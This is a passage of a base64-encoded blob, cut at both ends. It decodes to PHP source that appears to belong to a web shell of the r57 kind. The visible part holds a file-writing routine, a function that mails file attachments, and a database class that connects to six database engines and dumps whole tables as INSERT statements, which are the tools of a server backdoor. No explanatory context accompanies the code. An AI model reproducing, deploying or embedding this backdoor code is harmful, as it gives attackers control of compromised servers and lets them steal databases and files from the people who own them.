RsYW5ndWFnZS4nX3RleHQxMTknXTsKICBAdW5saW5rKCR0ZW1wKTsKcmV0dXJuICRzdHI7Cn0KCmZ1bmN0aW9uIG1vcmV3cml0ZSgkdGVtcCwkc3RyPScnKQp7Cmdsb2JhbCAkbGFuZywkbGFuZ3VhZ2U7CiBpZihAZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2Z3cml0ZScpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2ZjbG9zZScpICYmICgkZmZpbGU9QGZvcGVuKCR0ZW1wLCJ3YiIpKSl7CiAgaWYoJGZmaWxlKXsKICAgQGZ3cml0ZSgkZmZpbGUsJHN0cik7CiAgIEBmY2xvc2UoJGZmaWxlKTsKICB9CiB9ZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZnB1dHMnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmY2xvc2UnKSAmJiAoJGZmaWxlPUBmb3BlbigkdGVtcCwid2IiKSkpewogIGlmKCRmZmlsZSl7CiAgIEBmcHV0cygkZmZpbGUsJHN0cik7CiAgIEBmY2xvc2UoJGZmaWxlKTsKICB9CiB9ZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJykpewogICBAZmlsZV9wdXRfY29udGVudHMoJHRlbXAsJHN0cik7CiB9ZWxzZSByZXR1cm4gMDsKcmV0dXJuIDE7Cn0KCmZ1bmN0aW9uIG1haWxhdHRhY2goJHRvLCRmcm9tLCRzdWJqLCRhdHRhY2gpCiB7CiAkaGVhZGVycyAgPSAiRnJvbTogJGZyb21cclxuIjsKICRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOwogJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogIi4kYXR0YWNoWyd0eXBlJ107CiAkaGVhZGVycyAuPSAiOyBuYW1lPVwiIi4kYXR0YWNoWyduYW1lJ10uIlwiXHJcbiI7CiAkaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4iOwogJGhlYWRlcnMgLj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkYXR0YWNoWydjb250ZW50J10pKS4iXHJcbiI7CiBpZihtYWlsKCR0bywkc3ViaiwiIiwkaGVhZGVycykpIHsgcmV0dXJuIDE7IH0KIHJldHVybiAwOwogfQpjbGFzcyBteV9zcWwKIHsKIHZhciAkaG9zdCA9ICdsb2NhbGhvc3QnOwogdmFyICRwb3J0ID0gJyc7CiB2YXIgJHVzZXIgPSAnJzsKIHZhciAkcGFzcyA9ICcnOwogdmFyICRiYXNlID0gJyc7CiB2YXIgJGRiICAgPSAnJzsKIHZhciAkY29ubmVjdGlvbjsKIHZhciAkcmVzOyAgICAgICAgCiB2YXIgJGVycm9yOyAgICAgIAogdmFyICRyb3dzOyAgICAgICAKIHZhciAkY29sdW1uczsgICAgIAogdmFyICRudW1fcm93czsgICAKIHZhciAkbnVtX2ZpZWxkczsgCiB2YXIgJGR1bXA7ICAgICAgIAogCiBmdW5jdGlvbiBjb25uZWN0KCkKICB7ICAgCiAgc3dpdGNoKCR0aGlzLT5kYikKICAgICB7CiAgIGNhc2UgJ015U1FMJzogCiAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMzMwNic7IH0KICAgIGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHJldHVybiAwOwogICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOwogICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsKICAgYnJlYWs7CiAgIGNhc2UgJ01TU1FMJzoKICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzE0MzMnOyB9CiAgICBpZighQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsKICAgICR0aGlzLT5jb25uZWN0aW9uID0gQG1zc3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJywnLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsKICAgICAgaWYoJHRoaXMtPmNvbm5lY3Rpb24pIHJldHVybiAxOwogICBicmVhazsKICAgY2FzZSAnUG9zdGdyZVNRTCc6CiAgICAgIGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgeyAkdGhpcy0+cG9ydCA9ICc1NDMyJzsgfQogICAgICAkc3RyID0gImhvc3Q9JyIuJHRoaXMtPmhvc3QuIicgcG9ydD0nIi4kdGhpcy0+cG9ydC4iJyB1c2VyPSciLiR0aGlzLT51c2VyLiInIHBhc3N3b3JkPSciLiR0aGlzLT5wYXNzLiInIGRibmFtZT0nIi4kdGhpcy0+YmFzZS4iJyI7CiAgICAgIGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwOwogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBwZ19jb25uZWN0KCRzdHIpOwogICAgICBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOwogICBicmVhazsKICAgY2FzZSAnT3JhY2xlJzoKICAgICAgaWYoIUBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpIHJldHVybiAwOwogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwgJHRoaXMtPnBhc3MsICR0aGlzLT5iYXNlKTsKICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsKICAgYnJlYWs7CiAgIGNhc2UgJ015U1FMaSc6CiAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMzMwNic7IH0KICAgIGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdteXNxbGlfY29ubmVjdCcpKSByZXR1cm4gMDsKICAgICR0aGlzLT5jb25uZWN0aW9uID0gQG15c3FsaV9jb25uZWN0KCR0aGlzLT5ob3N0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzLCR0aGlzLT5iYXNlLCR0aGlzLT5wb3J0KTsKICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7CiAgIGJyZWFrOwogICBjYXNlICdtU1FMJzoKICAgIGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdtc3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7CiAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBtc3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJzonLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsKICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7CiAgIGJyZWFrOwogICBjYXNlICdTUUxpdGUnOgogICAgaWYoIUBmdW5jdGlvbl9leGlzdHMoJ3NxbGl0ZV9vcGVuJykpIHJldHVybiAwOwogICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAc3FsaXRlX29wZW4oJHRoaXMtPmJhc2UpOwogICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsKICAgYnJlYWs7CiAgICAgfQogICAgcmV0dXJuIDA7ICAgCiAgfQogIAogZnVuY3Rpb24gc2VsZWN0X2RiKCkKICB7CiAgIHN3aXRjaCgkdGhpcy0+ZGIpCiAgICB7CiAgY2FzZSAnTXlTUUwnOgogICBpZihAbXlzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7CiAgYnJlYWs7CiAgY2FzZSAnTVNTUUwnOgogICBpZihAbXNzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7CiAgYnJlYWs7CiAgY2FzZSAnUG9zdGdyZVNRTCc6CiAgICAgcmV0dXJuIDE7CiAgYnJlYWs7CiAgY2FzZSAnT3JhY2xlJzoKICAgICByZXR1cm4gMTsKICBicmVhazsKICBjYXNlICdNeVNRTGknOgogICAgIHJldHVybiAxOwogIGJyZWFrOwogIGNhc2UgJ21TUUwnOgogICAgIGlmKEBtc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOwogIGJyZWFrOwogIGNhc2UgJ1NRTGl0ZSc6CiAgICAgcmV0dXJuIDE7CiAgYnJlYWs7CiAgICB9CiByZXR1cm4gMDsgIAogIH0KICAKIGZ1bmN0aW9uIHF1ZXJ5KCRxdWVyeSkKICB7IAogICAkdGhpcy0+cmVzPSR0aGlzLT5lcnJvcj0nJzsKICAgc3dpdGNoKCR0aGlzLT5kYikKICAgIHsKICBjYXNlICdNeVNRTCc6IAogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG15c3FsX3F1ZXJ5KCcvKicuY2hyKDApLicqLycuJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpIAogICAgICB7IAogICAgICAkdGhpcy0+ZXJyb3IgPSBAbXlzcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOwogICAgICByZXR1cm4gMDsKICAgICAgfSAKICAgICBlbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKSB7IHJldHVybiAxOyB9ICAgICAgICAgICAgICAgICAgIAogICAgIHJldHVybiAyOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICBicmVhazsKICBjYXNlICdNU1NRTCc6CiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXNzcWxfcXVlcnkoJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpIAogICAgICB7CiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBlcnJvcic7CiAgICAgIHJldHVybiAwOwogICAgICB9CiAgICAgIGVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQogICAgIHJldHVybiAyOyAgICAgCiAgYnJlYWs7CiAgY2FzZSAnUG9zdGdyZVNRTCc6CiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AcGdfcXVlcnkoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5KSkpCiAgICAgIHsKICAgICAgJHRoaXMtPmVycm9yID0gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOwogICAgICByZXR1cm4gMDsKICAgICAgfQogICAgICBlbHNlIGlmKEBwZ19udW1fcm93cygkdGhpcy0+cmVzKSA+IDApIHsgcmV0dXJuIDE7IH0KICAgICByZXR1cm4gMjsgCiAgYnJlYWs7CiAgY2FzZSAnT3JhY2xlJzoKICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBvY2lwYXJzZSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkKICAgICAgewogICAgICAkdGhpcy0+ZXJyb3IgPSAnUXVlcnkgcGFyc2UgZXJyb3InOwogICAgICB9CiAgICAgZWxzZSAKICAgICAgeyAKICAgICAgaWYoQG9jaWV4ZWN1dGUoJHRoaXMtPnJlcykpIAogICAgICAgewogICAgICAgaWYoQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpICE9IDApIHJldHVybiAyOwogICAgICAgcmV0dXJuIDE7CiAgICAgICB9CiAgICAgICRlcnJvciA9IEBvY2llcnJvcigpOwogICAgICAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107IAogICAgICB9CiAgYnJlYWs7CiAgY2FzZSAnTXlTUUxpJzogCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXlzcWxpX3F1ZXJ5KCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKSAKICAgICAgeyAKICAgICAgJHRoaXMtPmVycm9yID0gQG15c3FsaV9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7CiAgICAgIHJldHVybiAwOwogICAgICB9IAogICAgIGVsc2UgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPnJlcykpIHsgcmV0dXJuIDE7IH0gICAgICAgICAgICAgICAgICAgCiAgICAgcmV0dXJuIDI7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogIGJyZWFrOwogIGNhc2UgJ21TUUwnOiAKICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBtc3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKSAKICAgICAgeyAKICAgICAgJHRoaXMtPmVycm9yID0gQG1zcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOwogICAgICByZXR1cm4gMDsKICAgICAgfSAKICAgICBlbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKSB7IHJldHVybiAxOyB9ICAgICAgICAgICAgICAgICAgIAogICAgIHJldHVybiAyOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICBicmVhazsKICBjYXNlICdTUUxpdGUnOiAKICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBzcWxpdGVfcXVlcnkoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5KSkpIAogICAgICB7IAogICAgICAkdGhpcy0+ZXJyb3IgPSBAc3FsaXRlX2Vycm9yX3N0cmluZygkdGhpcy0+Y29ubmVjdGlvbik7CiAgICAgIHJldHVybiAwOwogICAgICB9IAogICAgIGVsc2UgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPnJlcykpIHsgcmV0dXJuIDE7IH0gICAgICAgICAgICAgICAgICAgCiAgICAgcmV0dXJuIDI7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogIGJyZWFrOwogICAgfQogIHJldHVybiAwOwogIH0KIGZ1bmN0aW9uIGdldF9yZXN1bHQoKQogIHsgCiAgICR0aGlzLT5yb3dzPWFycmF5KCk7CiAgICR0aGlzLT5jb2x1bW5zPWFycmF5KCk7CiAgICR0aGlzLT5udW1fcm93cz0kdGhpcy0+bnVtX2ZpZWxkcz0wOwogICBzd2l0Y2goJHRoaXMtPmRiKQogICAgewogIGNhc2UgJ015U1FMJzoKICAgJHRoaXMtPm51bV9yb3dzPUBteXNxbF9udW1fcm93cygkdGhpcy0+cmVzKTsKICAgJHRoaXMtPm51bV9maWVsZHM9QG15c3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7CiAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBteXNxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOyAKICAgQG15c3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOwogICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9CiAgYnJlYWs7CiAgY2FzZSAnTVNTUUwnOgogICAkdGhpcy0+bnVtX3Jvd3M9QG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOwogICAkdGhpcy0+bnVtX2ZpZWxkcz1AbXNzcWxfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsgICAgCiAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBtc3NxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOwogICBAbXNzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7CiAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO307CiAgYnJlYWs7CiAgY2FzZSAnUG9zdGdyZVNRTCc6CiAgICR0aGlzLT5udW1fcm93cz1AcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7IAogICAkdGhpcy0+bnVtX2ZpZWxkcz1AcGdfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsgICAKICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQHBnX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7CiAgIEBwZ19mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsKICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQogIGJyZWFrOwogIGNhc2UgJ09yYWNsZSc6CiAgICAgJHRoaXMtPm51bV9maWVsZHM9QG9jaW51bWNvbHMoJHRoaXMtPnJlcyk7CiAgICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpICR0aGlzLT5udW1fcm93cysrOwogICAgIEBvY2lmcmVlc3RhdGVtZW50KCR0aGlzLT5yZXMpOwogICAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30KICBicmVhazsKICBjYXNlICdNeVNRTGknOgogICAgICR0aGlzLT5udW1fcm93cz1AbXlzcWxpX251bV9yb3dzKCR0aGlzLT5yZXMpOwogICAgICR0aGlzLT5udW1fZmllbGRzPUBteXNxbGlfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsKICAgICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7IAogICAgIEBteXNxbGlfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7CiAgICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQogIGJyZWFrOwogIGNhc2UgJ21TUUwnOgogICAgICR0aGlzLT5udW1fcm93cz1AbXNxbF9udW1fcm93cygkdGhpcy0+cmVzKTsKICAgICAkdGhpcy0+bnVtX2ZpZWxkcz1AbXNxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOwogICAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBtc3FsX2ZldGNoX2FycmF5KCR0aGlzLT5yZXMpKSk7IAogICAgIEBtc3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOwogICAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30KICBicmVhazsKICBjYXNlICdTUUxpdGUnOgogICAgICR0aGlzLT5udW1fcm93cz1Ac3FsaXRlX251bV9yb3dzKCR0aGlzLT5yZXMpOwogICAgICR0aGlzLT5udW1fZmllbGRzPUBzcWxpdGVfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsKICAgICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAc3FsaXRlX2ZldGNoX2FycmF5KCR0aGlzLT5yZXMpKSk7IAogICAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30KICBicmVhazsKICAgIH0KICAgcmV0dXJuIDA7IAogIH0KIGZ1bmN0aW9uIGR1bXAoJHRhYmxlKQogIHsgCiAgIGlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOwogICAkdGhpcy0+ZHVtcD1hcnJheSgpOwogICAkdGhpcy0+ZHVtcFswXSA9ICcjIyc7CiAgICR0aGlzLT5kdW1wWzFdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOwogICAkdGhpcy0+ZHVtcFsyXSA9ICcjIyAgQ3JlYXRlZDogJy5kYXRlICgiZC9tL1kgSDppOnMiKTsKICAgJHRoaXMtPmR1bXBbM10gPSAnIyMgRGF0YWJhc2U6ICcuJHRoaXMtPmJhc2U7CiAgICR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYmxlOiAnLiR0YWJsZTsKICAgJHRoaXMtPmR1bXBbNV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7CiAgIHN3aXRjaCgkdGhpcy0+ZGIpCiAgICB7CiAgY2FzZSAnTXlTUUwnOgogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIE15U1FMIGR1bXAnOwogICAgIGlmKCR0aGlzLT5xdWVyeSgnLyonLmNocigwKS4nKi8gU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAwOwogICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsKICAgICAkdGhpcy0+ZHVtcFtdID0gJHRoaXMtPnJvd3NbMF1bJ0NyZWF0ZSBUYWJsZSddOwogICAgICR0aGlzLT5kdW1wW10gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7CiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsKICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOwogICBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykKICAgIHsKICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpO30KICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIChgJy5AaW1wbG9kZSgiYCwgYCIsICR0aGlzLT5jb2x1bW5zKS4nYCkgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsKICAgIH0KICBicmVhazsKICBjYXNlICdNU1NRTCc6CiAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgTVNTUUwgZHVtcCc7CiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7CiAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsKICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspCiAgICB7CiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAYWRkc2xhc2hlcygkdik7fQogICAgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOwogICAgfQogIGJyZWFrOwogIGNhc2UgJ1Bvc3RncmVTUUwnOgogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIFBvc3RncmVTUUwgZHVtcCc7CiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7CiAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsKICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspCiAgICB7CiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAYWRkc2xhc2hlcygkdik7fSAKICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsKICAgIH0gCiAgYnJlYWs7CiAgY2FzZSAnT3JhY2xlJzoKICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBPUkFDTEUgZHVtcCc7CiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7CiAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsKICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspCiAgICB7ICAgICAKICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBhZGRzbGFzaGVzKCR2KTt9CiAgICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7CiAgICB9CiAgYnJlYWs7CiAgY2FzZSAnTXlTUUxpJzoKICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNeVNRTGkgZHVtcCc7CiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7CiAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsKICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspCiAgICB7ICAgICAKICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9CiAgICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7CiAgICB9CiAgYnJlYWs7CiAgY2FzZSAnbVNRTCc6CiAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgbVNRTCBkdW1wJzsKICAgICBpZigkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpIT0xKSByZXR1cm4gMDsKICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOwogICBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykKICAgIHsgICAgIAogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30KICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsKICAgIH0KICBicmVhazsKICBjYXNlICdTUUxpdGUnOgogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIFNRTGl0ZSBkdW1wJzsKICAgICBpZigkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpIT0xKSByZXR1cm4gMDsKICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOwogICBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykKICAgIHsgICAgIAogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30KICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+